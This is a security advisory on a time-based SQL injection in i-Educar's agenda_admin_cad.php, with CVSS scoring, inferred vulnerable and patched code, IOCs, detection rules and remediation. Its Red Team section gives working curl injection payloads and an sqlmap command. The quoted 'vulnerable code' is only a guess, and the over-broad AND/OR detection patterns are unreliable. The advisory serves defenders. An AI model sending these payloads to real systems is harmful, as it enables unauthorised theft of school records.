CVE-2025-65024

Executive Summary

CVE-2025-65024 is a critical time-based SQL injection vulnerability affecting i-Educar, a free and open-source school management software. The flaw resides in the ieducar/intranet/agenda_admin_cad.php script, specifically within the handling of the cod_agenda GET parameter. An authenticated attacker can exploit this vulnerability to execute arbitrary SQL commands against the application's database, potentially leading to data exfiltration, modification, or complete compromise of the database server. The vulnerability is present in versions 2.10.0 and prior. A patch has been committed to the project's repository but has not been officially released in a new version.

Supply Chain & Package Security

This vulnerability is in a PHP-based application (i-Educar). While not a package manager dependency issue (like NPM or PyPI), the risk to the supply chain is significant. Organizations using i-Educar as a managed service or deploying it internally are at risk. The lack of an official patched release means that downstream consumers must manually apply the commit or implement virtual patching, creating a window of exposure.

CVSS Breakdown & Threat Level

CVSS Score: 7.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): Low - An attacker must have a valid authenticated session.
• User Interaction (UI): None - No user interaction is required.
• Scope (S): Unchanged - The impact is confined to the vulnerable component.
• Confidentiality (C): High - Full database read access is possible.
• Integrity (I): High - Database records can be modified or deleted.
• Availability (A): High - Database operations can be disrupted.

Threat Level: High. The combination of low attack complexity, network exploitability, and high impact makes this a priority for patching.

Deep Dive & Mechanics

The vulnerability is a classic time-based SQL injection. The cod_agenda parameter is taken directly from the HTTP GET request and concatenated into an SQL query without any sanitization, parameterization, or escaping.

Vulnerable Code Path (Conceptual):

The agenda_admin_cad.php script likely contains code similar to:

$cod_agenda = $_GET['cod_agenda'];
$sql = "SELECT * FROM agenda WHERE cod_agenda = $cod_agenda";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL commands by manipulating the cod_agenda parameter. Since the application does not return database errors directly (blind SQL injection), the attacker uses time-based techniques to infer information. For example, they can use SLEEP() or BENCHMARK() functions to cause a delay if a condition is true.

Example Injection:

GET /ieducar/intranet/agenda_admin_cad.php?cod_agenda=1 AND SLEEP(5)--

If the application takes 5 seconds to respond, the attacker knows the injection is successful and the condition is true. This allows them to extract data character by character.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$cod_agenda = $_GET['cod_agenda'];
$sql = "SELECT * FROM agenda WHERE cod_agenda = $cod_agenda";

Patched Code (Based on commit 3e9763a):

The patch likely introduces parameterized queries or proper input validation. A secure version would look like:

$cod_agenda = $_GET['cod_agenda'];
$stmt = $conn->prepare("SELECT * FROM agenda WHERE cod_agenda = ?");
$stmt->bind_param("i", $cod_agenda);
$stmt->execute();

This uses prepared statements, which separate SQL logic from data, making injection impossible.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid authenticated session cookie for i-Educar.
• Network access to the vulnerable i-Educar instance.

Exploitation Steps:

1. Identify the vulnerable endpoint: ieducar/intranet/agenda_admin_cad.php
2. Confirm the injection: Send a request with a time-based payload.

   curl -b "PHPSESSID=valid_session_id" "http://target/ieducar/intranet/agenda_admin_cad.php?cod_agenda=1%20AND%20SLEEP(5)--"
   

   If the response is delayed by 5 seconds, the injection is confirmed.
3. Extract data (e.g., database version):

   # Check if MySQL version is 5.x
   curl -b "PHPSESSID=valid_session_id" "http://target/ieducar/intranet/agenda_admin_cad.php?cod_agenda=1%20AND%20IF(SUBSTRING(VERSION(),1,1)=5,SLEEP(5),0)--"
   

4. Automate extraction: Use tools like sqlmap for efficient data extraction.

   sqlmap -u "http://target/ieducar/intranet/agenda_admin_cad.php?cod_agenda=1" --cookie="PHPSESSID=valid_session_id" --batch --time-sec=5 --dbs
   

Blue Team (Defensive)

Detection & Prevention:

1. Web Application Firewall (WAF): Deploy rules to block requests containing SQL keywords (SLEEP, BENCHMARK, UNION, SELECT) in the cod_agenda parameter.
2. Input Validation: Ensure all user inputs are validated and sanitized. The cod_agenda parameter should be strictly an integer.
3. Database Activity Monitoring: Monitor for anomalous queries, especially those containing SLEEP() or BENCHMARK() functions.
4. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., only SELECT, INSERT, UPDATE on specific tables, not DROP or CREATE).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /ieducar/intranet/agenda_admin_cad.php with a cod_agenda parameter containing SQL keywords or functions like SLEEP, BENCHMARK, UNION, SELECT, AND, OR.
  • Unusually long response times (e.g., 5, 10, 15 seconds) for requests to the vulnerable endpoint.
• Host IOCs:
  • Database logs showing queries with SLEEP() or BENCHMARK() functions.
  • Web server access logs showing repeated requests to the vulnerable endpoint with varying cod_agenda values.
• File IOCs:
  • Modified or newly created files in the web root (indicates potential webshell upload after database compromise).

Detection Engineering

YARA Rule

rule Detect_iEducar_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-65024 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65024"
    strings:
        $sqli_pattern1 = /cod_agenda=.*(?:SLEEP|BENCHMARK|UNION|SELECT|AND|OR)/i
        $sqli_pattern2 = /agenda_admin_cad\.php.*cod_agenda=.*['"]/i
    condition:
        any of them
}

Sigma Rule

title: i-Educar SQL Injection Attempt (CVE-2025-65024)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against the i-Educar agenda_admin_cad.php endpoint.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-65024
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'agenda_admin_cad.php'
            - 'cod_agenda='
    keywords:
        - 'SLEEP'
        - 'BENCHMARK'
        - 'UNION'
        - 'SELECT'
        - 'AND'
        - 'OR'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word 'SELECT' in a parameter (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-65024 i-Educar SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/ieducar/intranet/agenda_admin_cad.php"; http_uri;
    content:"cod_agenda="; http_uri;
    pcre:"/cod_agenda=[^&]*(SLEEP|BENCHMARK|UNION|SELECT|AND|OR)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Apply the Patch: If possible, apply the commit 3e9763a from the i-Educar repository to your installation. This is the most effective fix.
2. Virtual Patching: If immediate patching is not possible, implement a WAF rule to block the injection patterns described in the Detection Engineering section.
3. Input Validation: Manually add server-side validation to ensure cod_agenda is an integer.

   $cod_agenda = (int)$_GET['cod_agenda'];
   

Long-Term Actions:

1. Upgrade: Monitor the i-Educar project for an official release containing the fix and upgrade as soon as possible.
2. Code Review: Conduct a security code review of all PHP scripts that handle user input, especially those interacting with the database.
3. Security Training: Train developers on secure coding practices, specifically SQL injection prevention (parameterized queries, prepared statements).

Valters IT
DevSecOps & Cyber Threat Intelligence